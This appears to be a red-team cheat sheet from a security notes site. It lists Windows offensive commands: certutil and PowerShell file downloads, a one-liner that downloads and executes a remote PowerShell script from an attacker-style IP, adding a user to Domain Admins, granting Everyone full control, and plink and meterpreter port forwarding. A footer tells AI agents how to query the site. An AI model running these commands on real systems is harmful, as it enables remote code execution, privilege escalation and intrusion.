# 99 Basic Command

{% tabs %}
{% tab title="Downloading files" %}

```
// File Download
certutil.exe -urlcache -split -f http://ip/file file 
Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"

// Powershell download
powershell.exe -exec bypass -command "Invoke-WebRequest 'http://10.10.14.18:8888/41020.exe' -OutFile 'C:\windows\system32\spool\drivers\color\41020.exe'" 

// Powershell remote execution
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.18:8888/Sherlock.ps1'); Find-AllVulns -Command 'start powershell.exe'" 
```

{% endtab %}

{% tab title="Changing Permissions of a file" %}

```
icacls text.txt /grant Everyone:F
```

{% endtab %}

{% tab title="Adding user to Domain admins" %}

```
Add-DomainGroupMember -Identity 'Domain Admins' -Members fkclai -Verbose
```

{% endtab %}

{% tab title="Base64 Encode-Decode" %}

```
certutil -decode foo.b64 foo.exe
certutil -encode foo.exe foo.b64
```

{% endtab %}

{% tab title="Port Forwarding" %}

```
# Port forward using plink
plink.exe -l morph3 -pw pass123 192.168.1.56 -R 8080:127.0.0.1:8080

# Port forward using meterpreter
portfwd add -l attacker-port -p victim-port -r victim-ip
portfwd add -l 3306 -p 3306 -r 192.168.1.56
```

{% endtab %}
{% endtabs %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://calvin-lai.gitbook.io/calvin-lai-security/red-team-windows/99-basic-command.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
